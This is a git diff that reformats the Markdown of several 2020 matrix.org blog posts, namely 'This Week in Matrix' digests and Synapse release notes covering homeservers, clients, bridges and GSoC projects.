`setup.py`. ([\#7602](https://github.com/matrix-org/synapse/issues/7602)) - Add a link to `#synapse:matrix.org` in the troubleshooting section of the README. ([\#7603](https://github.com/matrix-org/synapse/issues/7603)) - Clarifications to the admin api documentation. ([\#7647](https://github.com/matrix-org/synapse/issues/7647)) -Internal Changes ----------------- +### Internal Changes - Convert the identity handler to async/await. ([\#7561](https://github.com/matrix-org/synapse/issues/7561)) - Improve query performance for fetching state from a PostgreSQL database. Contributed by @ilmari. ([\#7567](https://github.com/matrix-org/synapse/issues/7567)) diff --git a/content/blog/2020/06/2020-06-12-this-week-in-matrix-2020-06-12.md b/content/blog/2020/06/2020-06-12-this-week-in-matrix-2020-06-12.md index d46f1626a..921d723ed 100644 --- a/content/blog/2020/06/2020-06-12-this-week-in-matrix-2020-06-12.md +++ b/content/blog/2020/06/2020-06-12-this-week-in-matrix-2020-06-12.md @@ -73,11 +73,11 @@ This is the second week of the coding phase of GSoC 2020. Find updates from the > Device verification for Nheko > > * Done -> * Adding Device List ( Although it already exists it is re-written in qml ) -> * Detecting to_device device_verification messages -> * Part of the flow is done +> * Adding Device List ( Although it already exists it is re-written in qml ) +> * Detecting to_device device_verification messages +> * Part of the flow is done > * Yet to Complete -> * Complete the rest of the flow +> * Complete the rest of the flow ### go-neb @@ -95,16 +95,16 @@ This is the second week of the coding phase of GSoC 2020. Find updates from the From [arnav-t](https://matrix.to/#/@arnav-t:matrix.org): -> Matrix has enormous potential to be used in many different use cases be it embedded chat rooms, comments section, chat boxes, etc. This project aims to fill that niche by providing an easy to use and easy to deploy client for users to embed on their webpages. -> The client would mesh well wherever it is embedded by providing a `postMessage` interface to allow the parent webpage to interact with the client and dynamically modify it whenever needed (For example:- A comments section that is always the same theme as its parent webpage). +> Matrix has enormous potential to be used in many different use cases be it embedded chat rooms, comments section, chat boxes, etc. This project aims to fill that niche by providing an easy to use and easy to deploy client for users to embed on their webpages. +> The client would mesh well wherever it is embedded by providing a `postMessage` interface to allow the parent webpage to interact with the client and dynamically modify it whenever needed (For example:- A comments section that is always the same theme as its parent webpage). > > #### Features > > As of now, the following features have been added (with more on the way) > -> * List of joined rooms that can be selected +> * List of joined rooms that can be selected > * Live room timeline events -> * Support for image-based messages +> * Support for image-based messages > * Message composer and ability to send messages to a room > * Dark and light themes for the client > * Changeable highlight colors @@ -188,7 +188,7 @@ Conduit is a Matrix homeserver written in Rust > > * Config option to disable registration > -> I also found the problem with Riot not showing notifications for new messages and created [a bug report](https://github.com/vector-im/riot-web/issues/14000). With a few tweaks, I managed to solve this on my account and now mentions, DMs and more play the notification sound (it also works on Riot X!). +> I also found the problem with Riot not showing notifications for new messages and created [a bug report](https://github.com/vector-im/riot-web/issues/14000). With a few tweaks, I managed to solve this on my account and now mentions, DMs and more play the notification sound (it also works on Riot X!). > > @gnieto fixed a bug that prevented Riot from loading history when you join a room and @PublicByte implemented the /whoami endpoint. > @@ -268,7 +268,7 @@ Conduit is a Matrix homeserver written in Rust > mautrix-facebook got a few improvements and bugfixes: > -> * Added timestamp massaging +> * Added timestamp massaging > > * Added support for bridging video and file messages to Matrix > * Fixed backfilling with SQLite (it didn't work due to the python timezone mess, fix contributed by erdnaxeli) @@ -311,7 +311,6 @@ Conduit is a Matrix homeserver written in Rust [eric](https://matrix.to/#/@eric:nova.chat) reported: - > Introducing [NovaChat](https://nova.chat/) - a desktop chat client that supports 9+ different chat networks, built on top of Matrix. Think of it as a modern Adium/Trillian. > > **How it works** @@ -327,7 +326,7 @@ Conduit is a Matrix homeserver written in Rust > > \*Encryption is currently enabled on Telegram/FB/Hangouts/Whatsapp bridges, mx-puppet-bridges coming shortly) > -> _Very rough system diagram:_ +> *Very rough system diagram:* > > `> NovaChat desktop client <> NovaChat homeserver <> bridgebox <> remote chat networks` > @@ -365,27 +364,27 @@ Conduit is a Matrix homeserver written in Rust > > * Reactions > -> * React to a message with an emoji! 🎉 -> * Reactions are shown below a message in a small bubble with a counter. +> * React to a message with an emoji! 🎉 +> * Reactions are shown below a message in a small bubble with a counter. > -> * By clicking on that, others can add to the reaction count. -> * It may help you celebrating a new Nheko Release or react with a 👎 to a failed build to express your frustration. +> * By clicking on that, others can add to the reaction count. +> * It may help you celebrating a new Nheko Release or react with a 👎 to a failed build to express your frustration. > -> * This uses a new emoji picker. The picker will be improved in the near future (better scrolling, sections, favorites, recently used or similar) and then probably replace the current picker. +> * This uses a new emoji picker. The picker will be improved in the near future (better scrolling, sections, favorites, recently used or similar) and then probably replace the current picker. > > * Support for tagging rooms `[tag]` > -> * Assign custom tags to rooms from the context menu in the room list. -> * This allows filtering rooms via the group list. This puts you in a focus mode showing only the selected tags. +> * Assign custom tags to rooms from the context menu in the room list. +> * This allows filtering rooms via the group list. This puts you in a focus mode showing only the selected tags. > -> * You can assign multiple tags to group rooms however you like. +> * You can assign multiple tags to group rooms however you like. > > * SSO Login > -> * With this you can now login on servers, that only provide SSO. -> * Just enter any mxid on the server. Nheko will figure out that you need to use SSO and redirect your browser to the login page. +> * With this you can now login on servers, that only provide SSO. +> * Just enter any mxid on the server. Nheko will figure out that you need to use SSO and redirect your browser to the login page. > -> * Complete the login in your browser and Nheko should automatically log you in. +> * Complete the login in your browser and Nheko should automatically log you in. > > #### Features > diff --git a/content/blog/2020/06/2020-06-16-synapse-1-15-1-released.md b/content/blog/2020/06/2020-06-16-synapse-1-15-1-released.md index 9df50e6d8..dd3f088f3 100644 --- a/content/blog/2020/06/2020-06-16-synapse-1-15-1-released.md +++ b/content/blog/2020/06/2020-06-16-synapse-1-15-1-released.md @@ -16,16 +16,13 @@ The second caused Synapse not to start when configured with certain password aut Sorry if you have been bitten! -Get 1.15.1 from [github](https://github.com/matrix-org/synapse/releases/tag/v1.15.1) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. - +Get 1.15.1 from [github](https://github.com/matrix-org/synapse/releases/tag/v1.15.1) or any of the sources mentioned at . Changelog since v1.15.0 -Synapse 1.15.1 (2020-06-16) -=========================== +## Synapse 1.15.1 (2020-06-16) -Bugfixes --------- +### Bugfixes - Fix a bug introduced in v1.15.0 that would crash Synapse on start when using certain password auth providers. ([\#7684](https://github.com/matrix-org/synapse/issues/7684)) - Fix a bug introduced in v1.15.0 which meant that some 3PID management endpoints were not accessible on the correct URL. ([\#7685](https://github.com/matrix-org/synapse/issues/7685)) diff --git a/content/blog/2020/06/2020-06-19-this-week-in-matrix-2020-06-19.md b/content/blog/2020/06/2020-06-19-this-week-in-matrix-2020-06-19.md index 229f54587..2d50d640e 100644 --- a/content/blog/2020/06/2020-06-19-this-week-in-matrix-2020-06-19.md +++ b/content/blog/2020/06/2020-06-19-this-week-in-matrix-2020-06-19.md @@ -18,7 +18,7 @@ image = "https://matrix.org/blog/img/2020-06-19-ml.png" ### Matrix Merch Store is back -Are you emerging from lockdown? Dazed and wondering what to wear? Need some apparel which says "_I'm cool and I have great taste in decentralised communications protocols_"? Then you should visit [The Matrix Merch Store](https://shop.matrix.org/)! +Are you emerging from lockdown? Dazed and wondering what to wear? Need some apparel which says "*I'm cool and I have great taste in decentralised communications protocols*"? Then you should visit [The Matrix Merch Store](https://shop.matrix.org/)! T-Shirts, Hoodies, Zipped Hoodies and Stickers available now! @@ -40,7 +40,7 @@ The paper was [previously mentioned on the Matrix blog](/blog/2020/06/16/matrix- > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -49,14 +49,14 @@ The paper was [previously mentioned on the Matrix blog](/blog/2020/06/16/matrix- > > **MSCs in Final Comment Period:** > -> * _No MSCs are in FCP._ +> * *No MSCs are in FCP.* > > **New MSCs:** > > * [MSC2644: matrix.to URI syntax v2](https://github.com/matrix-org/matrix-doc/pull/2644) > * [MSC2638: Ability for clients to request homeservers to resync device lists](https://github.com/matrix-org/matrix-doc/pull/2638) > -> #### Spec Core Team +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, the team has been spread a bit thin with other work. As such, we're still on the same three MSCs: [MSC2366](https://github.com/matrix-org/matrix-doc/issues/2366) (verification flows), [MSC2403](https://github.com/matrix-org/matrix-doc/issues/2403) (knocking), and [MSC2630](https://github.com/matrix-org/matrix-doc/issues/2630) (SAS security). We're hoping this week will be more productive in terms of spec. @@ -97,27 +97,27 @@ Dendrite is a next-generation homeserver written in Go > Highlights this week > -> * We released [1.15.1](https://matrix.org/blog/2020/06/16/synapse-1-15-1-released), this is a bug fix release, sorry if you were bitten. +> * We released [1.15.1](https://matrix.org/blog/2020/06/16/synapse-1-15-1-released), this is a bug fix release, sorry if you were bitten. > > #### Changelog in full > > Bugfixes > -> * Fix a bug introduced in v1.15.0 that would crash Synapse on start when using certain password auth providers. +> * Fix a bug introduced in v1.15.0 that would crash Synapse on start when using certain password auth providers. > > * Fix a bug introduced in v1.15.0 which meant that some 3PID management endpoints were not accessible on the correct URL. > > Outside of that > -> * Implemented unread message counts (MSC 2625) - This is part of the a more general notifications improvement project in conjunction with the Riot teams. The aim being to make Notifications easier to configure. We’ve also been working on push rule definitions for the default behaviour. More on that next week. +> * Implemented unread message counts (MSC 2625) - This is part of the a more general notifications improvement project in conjunction with the Riot teams. The aim being to make Notifications easier to configure. We’ve also been working on push rule definitions for the default behaviour. More on that next week. > -> * Have the ability to shard the media repository worker. This means we can now run an arbitrary number in parallel, thereby improving upload reliability and performance, we are running this on Matrix.org. +> * Have the ability to shard the media repository worker. This means we can now run an arbitrary number in parallel, thereby improving upload reliability and performance, we are running this on Matrix.org. > -> * Re-enabled Jaeger on matrix.org - previously we needed to switch it off due to the performance overhead, we needed a few tweaks but now it is working well and helping us to determine the cause of slow requests. It seems like the HTTP requests between the event creator and event persister workers can sometimes be slow - we are not sure of the cause yet, we are working on it but it will mean further performance improvements to message sending. +> * Re-enabled Jaeger on matrix.org - previously we needed to switch it off due to the performance overhead, we needed a few tweaks but now it is working well and helping us to determine the cause of slow requests. It seems like the HTTP requests between the event creator and event persister workers can sometimes be slow - we are not sure of the cause yet, we are working on it but it will mean further performance improvements to message sending. > -> * Next up performance wise is working on sharding the federation sender to improve federation lag. We’ll also try replacing simplejson with stdlib json which seems to be much faster at dumps nowadays. +> * Next up performance wise is working on sharding the federation sender to improve federation lag. We’ll also try replacing simplejson with stdlib json which seems to be much faster at dumps nowadays. > -> * Finally, we’ve fixed a bug that meant that quarantining media would from time to time include quarantining sticker packs +> * Finally, we’ve fixed a bug that meant that quarantining media would from time to time include quarantining sticker packs > > Other interesting bugs > @@ -153,7 +153,7 @@ Conduit is a Matrix homeserver written in Rust {{ youtube_player(video_id="-1MbP3CC2Yk") }} -> Cross-signing _should_ be working, but there is a bug where emoji verification gets stuck. I hope we can find the mistakes and finish the PR next week. +> Cross-signing *should* be working, but there is a bug where emoji verification gets stuck. I hope we can find the mistakes and finish the PR next week. > > Thanks to everyone who supports me on [Liberapay](https://liberapay.com/timokoesters) or (new!) Bitcoin! @@ -211,12 +211,12 @@ PS check out Valere trying the new features: [Sophie still alive](https://matrix.to/#/@sharky:shark.pm) said: -> I made an Arch Linux (AUR) package for Revolution - a Riot fork by ponies.im: +> I made an Arch Linux (AUR) package for Revolution - a Riot fork by ponies.im: > > * > > * -> * https://gitlab.eastcoast.hosting/ponies +> * ### Daydream @@ -256,15 +256,15 @@ WIP Command line Matrix client using matrix-rust-sdk > > * Room search is now available > -> * Public rooms can be joined from the room search window +> * Public rooms can be joined from the room search window > > * A user can register from the new register window > -> * This features complete User Interactive Authentication by opening a web browser +> * This features complete User Interactive Authentication by opening a web browser > > * Message edits are shown > -> * When markdown is part of the message they are properly formatted +> * When markdown is part of the message they are properly formatted > > * Reactions display under the respective message > @@ -326,24 +326,24 @@ Go to to find out how to use t From the changelog: * Reactions - * React to a message with an emoji! 🎉 - * Reactions are shown below a message in a small bubble with a counter. - * By clicking on that, others can add to the reaction count. - * It may help you celebrating a new Nheko Release or react with a 👎 to a failed build to express your frustration. - * This uses a new emoji picker. The picker will be improved in the near future (better scrolling, sections, favorites, recently used or similar) and then probably replace the current picker. + * React to a message with an emoji! 🎉 + * Reactions are shown below a message in a small bubble with a counter. + * By clicking on that, others can add to the reaction count. + * It may help you celebrating a new Nheko Release or react with a 👎 to a failed build to express your frustration. + * This uses a new emoji picker. The picker will be improved in the near future (better scrolling, sections, favorites, recently used or similar) and then probably replace the current picker. * Support for tagging rooms [tag] - * Assign custom tags to rooms from the context menu in the room list. - * This allows filtering rooms via the group list. This puts you in a focus mode showing only the selected tags. - * You can assign multiple tags to group rooms however you like. + * Assign custom tags to rooms from the context menu in the room list. + * This allows filtering rooms via the group list. This puts you in a focus mode showing only the selected tags. + * You can assign multiple tags to group rooms however you like. * SSO Login - * With this you can now login on servers, that only provide SSO. - * Just enter any mxid on the server. Nheko will figure out that you need to use SSO and redirect your browser to the login page. - * Complete the login in your browser and Nheko should automatically log you in. + * With this you can now login on servers, that only provide SSO. + * Just enter any mxid on the server. Nheko will figure out that you need to use SSO and redirect your browser to the login page. + * Complete the login in your browser and Nheko should automatically log you in. * Presence - * Shows online status of the people you are talking to. - * You can define a custom status message to tell others what you are currently up to. - * The status message appears next to the usernames in the timeline. - * Your server needs to have presence enabled for this to work. + * Shows online status of the people you are talking to. + * You can define a custom status message to tell others what you are currently up to. + * The status message appears next to the usernames in the timeline. + * Your server needs to have presence enabled for this to work. Wowow that's a lot this time! @@ -355,9 +355,9 @@ Wowow that's a lot this time! > after a couple of setbacks that didn't let us to make the releases earlier, the Quotient project has finally made two new releases: > -> * GTAD (the piece of code magically producing readable C++ code from a Swagger API description) has achieved version 0.7 (https://github.com/KitsuneRal/gtad/releases/tag/v0.7.0) adding a few tricks in order to make... +> * GTAD (the piece of code magically producing readable C++ code from a Swagger API description) has achieved version 0.7 () adding a few tricks in order to make... > -> * ...libQuotient 0.6 beta2 (https://github.com/quotient-im/libQuotient/releases/tag/0.6-beta2) rely entirely on the upstream matrix-doc specification, rather than a soft fork closely following the main sources! From now on it's "upstream first", in a sense that the original matrix-doc will be used to build Quotient codebase. Let's see how often it breaks ;) +> * ...libQuotient 0.6 beta2 () rely entirely on the upstream matrix-doc specification, rather than a soft fork closely following the main sources! From now on it's "upstream first", in a sense that the original matrix-doc will be used to build Quotient codebase. Let's see how often it breaks ;) > In other news from the last few weeks: > > * some housekeeping and deprecation work in the API has been done in preparation to getting User Interactive Authentication along the next (post-0.6) release cycle of libQuotient. @@ -435,7 +435,7 @@ pub enum AnyStateEvent { [Cadair](https://matrix.to/#/@cadair:cadair.com) offered: -> opsdroid [0.19](https://github.com/opsdroid/opsdroid/releases/tag/v0.19.0) has been released, not many matrix specific features in this release, just making it slightly easier to get a connector or database instance by name. However, this release paves the way for the merge of the pull request transitioning opsdroid to use the matrix-nio Python library, so the next release should be _packed_ full of matrix stuff 😀 +> opsdroid [0.19](https://github.com/opsdroid/opsdroid/releases/tag/v0.19.0) has been released, not many matrix specific features in this release, just making it slightly easier to get a connector or database instance by name. However, this release paves the way for the merge of the pull request transitioning opsdroid to use the matrix-nio Python library, so the next release should be *packed* full of matrix stuff 😀 ## Dept of Ping 🏓 diff --git a/content/blog/2020/06/2020-06-26-this-week-in-matrix-2020-06-26.md b/content/blog/2020/06/2020-06-26-this-week-in-matrix-2020-06-26.md index 05461e76d..15cdec82b 100644 --- a/content/blog/2020/06/2020-06-26-this-week-in-matrix-2020-06-26.md +++ b/content/blog/2020/06/2020-06-26-this-week-in-matrix-2020-06-26.md @@ -24,7 +24,7 @@ It's demos this week! ## Dept of *Status of Matrix* 🌡 -### Merch Returns! +### Merch Returns Yes it's back! For the first time in months we are shipping branded IRL-items featuring Matrix branding. Head to [The Shop](https://shop.matrix.org/) to stock-up. @@ -34,7 +34,7 @@ Yes it's back! For the first time in months we are shipping branded IRL-items fe > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -47,7 +47,8 @@ Yes it's back! For the first time in months we are shipping branded IRL-items fe > **New MSCs:** > > * [\[WIP\] MSC2654: Unread counts](https://github.com/matrix-org/matrix-doc/pull/2654) -> #### Spec Core Team +> +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, unfortunately our three MSCs from last week ( [MSC2366](https://github.com/matrix-org/matrix-doc/issues/2366) (verification flows), [MSC2403](https://github.com/matrix-org/matrix-doc/issues/2403) (knocking), and [MSC2630](https://github.com/matrix-org/matrix-doc/issues/2630) (SAS security)) are still pre-FCP. Most of the team has been quite busy with implementation for the past few weeks. Instead of advertising those 3 MSCs again, we're going to switch the focus to "implementation" for a bit until we're freed up again. > @@ -84,6 +85,7 @@ Yes it's back! For the first time in months we are shipping branded IRL-items fe [arnav-t](https://matrix.to/#/@arnav-t:matrix.org) told us: > This week I've worked on the following features for the project "HTML embeddable chat rooms" under GSoC '20: +> > #### Added support for signing-in > > #### Via sign-in popup @@ -91,6 +93,7 @@ Yes it's back! For the first time in months we are shipping branded IRL-items fe > The user can enter their credentials into the modal dialogue box. > > #### Via `postMessage` interface +> > ```js > > iframe.contentWindow.postMessage({ @@ -105,7 +108,7 @@ Yes it's back! For the first time in months we are shipping branded IRL-items fe > }, origin); > ``` > -> _Arguments:_ +> *Arguments:* > > `args` (object): > @@ -113,7 +116,7 @@ Yes it's back! For the first time in months we are shipping branded IRL-items fe > > * `passwd` (string) - Password > -> _Response:_ +> *Response:* > > ```js > { @@ -166,11 +169,11 @@ Yes it's back! For the first time in months we are shipping branded IRL-items fe > > * The matrix connector is now using matrix-nio! > -> * Bots can send and receive texts, images, files as before +> * Bots can send and receive texts, images, files as before > * No change in configuration required, just update opsdroid and run as before > > * Encryption is not yet implemented -> * You can check out the PR [here](https://github.com/opsdroid/opsdroid/pull/1418) +> * You can check out the PR [here](https://github.com/opsdroid/opsdroid/pull/1418) > > #### Enabling E2EE > @@ -222,9 +225,9 @@ Dendrite is a next-generation homeserver written in Go [Nico](https://matrix.to/#/@nico:beerfactory.org) reported: -> [Mascarene v0.2.0](https://gitlab.com/mascarene/mascarene/-/releases/v0.2.0) has been released. +> [Mascarene v0.2.0](https://gitlab.com/mascarene/mascarene/-/releases/v0.2.0) has been released. > -> This version implements a minimal set of client API endpoints to work with Riot and allow user registration, +> This version implements a minimal set of client API endpoints to work with Riot and allow user registration, > > room creation, invitation and messages sending on the same running instance (no federation support). > @@ -254,21 +257,21 @@ Conduit is a Matrix homeserver written in Rust > This week we’ve been working on further improvements to event persistence and ironed out a nasty bug where an unusually long state resolution could block the reactor overall and impact send times. We seem to have got to the bottom of this and m.org has improved a lot as of today. > -> More generally we’ve been trying to characterise matrix.org performance so that we can continue to improve over the coming months. +> More generally we’ve been trying to characterise matrix.org performance so that we can continue to improve over the coming months. > > We are going to focus on:- > -> * Client send event -> * Outbound Federation Latency +> * Client send event +> * Outbound Federation Latency > -> * Inbound Federation Latency -> * Room joins +> * Inbound Federation Latency +> * Room joins > > As well as tracking the CS API generally. > -> We are using [apdex](https://en.wikipedia.org/wiki/Apdex) with a satisfied limit of 250 ms and a tolerating limit of 1000 ms. By the end of the Summer we will aim to hit an apdex score of 0.9 for each area. +> We are using [apdex](https://en.wikipedia.org/wiki/Apdex) with a satisfied limit of 250 ms and a tolerating limit of 1000 ms. By the end of the Summer we will aim to hit an apdex score of 0.9 for each area. > -> For instance here is Federation Send Event Apdex graphed overtime. You can see that we are averaging about ~0.8 currently, so plenty to keeping us busy! +> For instance here is Federation Send Event Apdex graphed overtime. You can see that we are averaging about ~0.8 currently, so plenty to keeping us busy! ![2020-06-26-JR9Vx-Screenshot2020-06-26at17.51.57.png](/blog/img/2020-06-26-JR9Vx-Screenshot2020-06-26at17.51.57.png) @@ -327,7 +330,7 @@ It's a Tulir kind of week. > Fluffychat Version 0.15.0 is released, and should be available in the Play Store, on F-Droid and in IOS Testflight soon! This makes Fluffychat the first non-Riot matrix client that supports Cross-Signing. > -> #### Features: +> #### Features > > * New room list app bar design > @@ -340,13 +343,13 @@ It's a Tulir kind of week. > * Restore keys from online key backup > * Added translations: Czech, Spanish, Slovakian > -> #### Changes: +> #### Changes > > * Show presences of users sharing a direct chat > > * Big refactoring -> -> #### Fixes: +> +> #### Fixes > > * Various fixes, including e2ee fixes and olm session recovery @@ -422,10 +425,10 @@ It's a Tulir kind of week. > > * Overhauled account settings to match the design of other tabbed pages. > -> The horizontal layout design has been removed due to complicated code and +> The horizontal layout design has been removed due to complicated code and > being impossible to extend without breaking it. > -> * The display name field in account settings is now colored, +> * The display name field in account settings is now colored, > > preview your new display name's color as you type > @@ -435,14 +438,14 @@ It's a Tulir kind of week. > > * Overhauled scrollbars: > -> * Now match the Mirage theme and much better visibility -> * No more right margin for the timeline's bar +> * Now match the Mirage theme and much better visibility +> * No more right margin for the timeline's bar > -> * Minimum height to prevent the bar from becoming impossible to grab +> * Minimum height to prevent the bar from becoming impossible to grab > > * Use brighter text for room names of rooms that have unread messages > -> * Buttons, tabs, text fields and areas now have animated bottom borders +> * Buttons, tabs, text fields and areas now have animated bottom borders > > to represent keyboard focus instead of being highlighted like when hovered > diff --git a/content/blog/2020/07/2020-07-02-synapse-1-15-2-released-with-security-fixes.md b/content/blog/2020/07/2020-07-02-synapse-1-15-2-released-with-security-fixes.md index cbec29f7f..fa4d8ca4b 100644 --- a/content/blog/2020/07/2020-07-02-synapse-1-15-2-released-with-security-fixes.md +++ b/content/blog/2020/07/2020-07-02-synapse-1-15-2-released-with-security-fixes.md @@ -16,8 +16,7 @@ Secondly, we have improved the security of pages served as part of the Single-Si We are not aware of either of these vulnerabilities being exploited in the wild, but we recommend that administrators upgrade as soon as possible. Those on Synapse 1.15.1 or earlier should upgrade to Synapse 1.15.2, while those who have already upgraded to Synapse 1.16.0rc1 should upgrade to 1.16.0rc2. -Get the new releases from any of the usual sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. 1.15.2 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.15.2), and 1.16.0rc2 is [here](https://github.com/matrix-org/synapse/releases/tag/v1.16.0rc2). - +Get the new releases from any of the usual sources mentioned at . 1.15.2 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.15.2), and 1.16.0rc2 is [here](https://github.com/matrix-org/synapse/releases/tag/v1.16.0rc2). Changelog for 1.15.2 follows: @@ -37,4 +36,4 @@ exploited in the wild. administrators are encouraged to upgrade. ([ea26e9a9](https://github.com/matrix-org/synapse/commit/ea26e9a98b0541fc886a1cb826a38352b7599dbe)) This was reported by [Quentin Gliech](https://sandhose.fr/). - + \ No newline at end of file diff --git a/content/blog/2020/07/2020-07-03-this-week-in-matrix-2020-07-03.md b/content/blog/2020/07/2020-07-03-this-week-in-matrix-2020-07-03.md index 57cdcafc6..4afc2a3aa 100644 --- a/content/blog/2020/07/2020-07-03-this-week-in-matrix-2020-07-03.md +++ b/content/blog/2020/07/2020-07-03-this-week-in-matrix-2020-07-03.md @@ -30,7 +30,7 @@ The next [Open Tech Will Save Us](https://matrix.org/open-tech-will-save-us/) ev > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at > -> #### MSC Status +> ### MSC Status > > **Finished Final Comment Period:** > @@ -38,12 +38,13 @@ The next [Open Tech Will Save Us](https://matrix.org/open-tech-will-save-us/) ev > > **MSCs in Final Comment Period:** > -> * _No MSCs are in FCP._ +> * *No MSCs are in FCP.* > > **New MSCs:** > > * [MSC2659: Application service ping endpoint](https://github.com/matrix-org/matrix-doc/pull/2659) -> #### Spec Core Team +> +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, as last week we are sticking with "implementation" for now. We'll be back soon :) @@ -66,10 +67,10 @@ This week was the first evaluations, we'll have results to share next week. From [nikofil](https://matrix.to/#/@nikofil:matrix.org): -> - e2ee merged and some bugs fixed (pr #324)! You should be able to use neb normally in an encrypted room now, if that's not the case please let us know! -> - Added integration tests for both encrypted and unencrypted rooms to neb in order to catch things that might break some core functionality in a subtle way (issue #326) -> - Similarly, created a PR for mautrix-go for testing the Olm and Megolm session establishment and message encryption / decryption (pr #12) -> - Next up, working on a service for neb for testing the crypto functionality of other clients: neb will send messages to a room, rotate keys etc. and your client is supposed to respond! +> * e2ee merged and some bugs fixed (pr #324)! You should be able to use neb normally in an encrypted room now, if that's not the case please let us know! +> * Added integration tests for both encrypted and unencrypted rooms to neb in order to catch things that might break some core functionality in a subtle way (issue #326) +> * Similarly, created a PR for mautrix-go for testing the Olm and Megolm session establishment and message encryption / decryption (pr #12) +> * Next up, working on a service for neb for testing the crypto functionality of other clients: neb will send messages to a room, rotate keys etc. and your client is supposed to respond! ## Dept of Servers 🏢 @@ -128,7 +129,7 @@ Conduit is a Matrix homeserver written in Rust [richvdh](https://matrix.to/#/@richvdh:sw1v.org) reported: -> Synapse [1.15.2](https://github.com/matrix-org/synapse/releases/tag/v1.15.2) shipped this week with some important security fixes - if you haven't already upgraded, please do asap! Meanwhile, we're also preparing a [1.16 release](https://github.com/matrix-org/synapse/releases/tag/v1.16.0rc2) with the normal round of bugfixes and incremental improvements. +> Synapse [1.15.2](https://github.com/matrix-org/synapse/releases/tag/v1.15.2) shipped this week with some important security fixes - if you haven't already upgraded, please do asap! Meanwhile, we're also preparing a [1.16 release](https://github.com/matrix-org/synapse/releases/tag/v1.16.0rc2) with the normal round of bugfixes and incremental improvements. > > The big focus in the Synapse team continues to be on performance for larger Synapse instances, which is reflected in the support in 1.16 for running multiple media worker processes. We're working on giving other worker processes the same treatment, so expect more of the same in the weeks to come! @@ -176,12 +177,12 @@ Conduit is a Matrix homeserver written in Rust > > * no proprietary third party services > -> * iOS will have APNS opt-in, but will be made clear to the user +> * iOS will have APNS opt-in, but will be made clear to the user > > * all data is AES-256 encrypted at rest > > * E2EE for direct chats using [Olm/Megolm](https://gitlab.matrix.org/matrix-org/olm) -> * group chats will be supported in the coming weeks +> * group chats will be supported in the coming weeks > > * all indicators of presence are opt-in only (typing indicators, read receipts, etc) > @@ -224,7 +225,7 @@ Conduit is a Matrix homeserver written in Rust ![2020-07-03-ZFc9l-Captured’écrande2020-07-0317-26-53.png](/blog/img/2020-07-03-ZFc9l-Captured’écrande2020-07-0317-26-53.png) -### NovaChat July 3 update: +### NovaChat July 3 update [eric](https://matrix.to/#/@eric:nova.chat) told us: @@ -276,10 +277,10 @@ Conduit is a Matrix homeserver written in Rust > * Added error logging for LDAP authorization. > * Added full request and response logs for debug. > -> * Avoid including bridged user in directory lookups (https://github.com/ma1uta/ma1sd/pull/45) +> * Avoid including bridged user in directory lookups () > * Add experimental multi-platform buillds for amd64 and arm64 platforms. > -> * remove warning about matrix-synapse-ldap3 (https://github.com/ma1uta/ma1sd/pull/50) +> * remove warning about matrix-synapse-ldap3 () > > Bugfixes: > @@ -362,7 +363,7 @@ We could include this video here, but it seems me appropriate to link to an actu > Hello, I am announcing my first matrix bot - cody - that will evaluate code snippets in your Matrix rooms and return the result. Here is an example interaction: > -> ``` +> ```txt > > user> !py "Hello world!" > cody> 'Hello world!' @@ -390,7 +391,7 @@ We could include this video here, but it seems me appropriate to link to an actu > > * New version of `logootish-js` with a completely new algorithm > -> * In particular, I should note that this new algorithm is tested extensively, so I think the bugs should be out +> * In particular, I should note that this new algorithm is tested extensively, so I think the bugs should be out > > * Corresponding updates to internal event structure > diff --git a/content/blog/2020/07/2020-07-08-synapse-1-16-0-released.md b/content/blog/2020/07/2020-07-08-synapse-1-16-0-released.md index 036669313..28fc5bcc1 100644 --- a/content/blog/2020/07/2020-07-08-synapse-1-16-0-released.md +++ b/content/blog/2020/07/2020-07-08-synapse-1-16-0-released.md @@ -12,109 +12,94 @@ category = ["Releases"] Synapse 1.16.0 is here! Notable additions in 1.16.0 include:- - * An important performance fix to improve room state resolution. - * An option to enable e2e by default for new rooms. - * Ability to run multiple media repo workers side by side. - * Ability to mark specific content as being safe from quarantine. - * Bug fixes to make migrating from SQLite to Postgres more reliable - if you are running sqlite for anything other than evaluation purposes then please migrate! + +* An important performance fix to improve room state resolution. +* An option to enable e2e by default for new rooms. +* Ability to run multiple media repo workers side by side. +* Ability to mark specific content as being safe from quarantine. +* Bug fixes to make migrating from SQLite to Postgres more reliable - if you are running sqlite for anything other than evaluation purposes then please migrate! Note, we have deprecated the `m.login.jwt` login method in favour of `org.matrix.login.jwt` see the changelog for more details. Enjoy! -Get the new releases from any of the usual sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. 1.16.0 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.16.0). - +Get the new releases from any of the usual sources mentioned at . 1.16.0 is on github [here](https://github.com/matrix-org/synapse/releases/tag/v1.16.0). Changelog for 1.16.0 follows: -Synapse 1.16.0 (2020-07-08) -=========================== +## Synapse 1.16.0 (2020-07-08) No significant changes since 1.16.0rc2. Note that this release deprecates the `m.login.jwt` login method, renaming it to `org.matrix.login.jwt`, as `m.login.jwt` is not part of the Matrix spec. Otherwise the behaviour is identical. Synapse will accept both names for now, but this may change in a future release. -Synapse 1.16.0rc2 (2020-07-02) -============================== +## Synapse 1.16.0rc2 (2020-07-02) Synapse 1.16.0rc2 includes the security fixes released with Synapse 1.15.2. Please see the [1.15.2 release notes](https://github.com/matrix-org/synapse/releases/tag/v1.15.2) for more details. -Improved Documentation ----------------------- - -- Update postgres image in example `docker-compose.yaml` to tag `12-alpine`. ([\#7696](https://github.com/matrix-org/synapse/issues/7696)) - -Internal Changes ----------------- - -- Add some metrics for inbound and outbound federation latencies: `synapse_federation_server_pdu_process_time` and `synapse_event_processing_lag_by_event`. 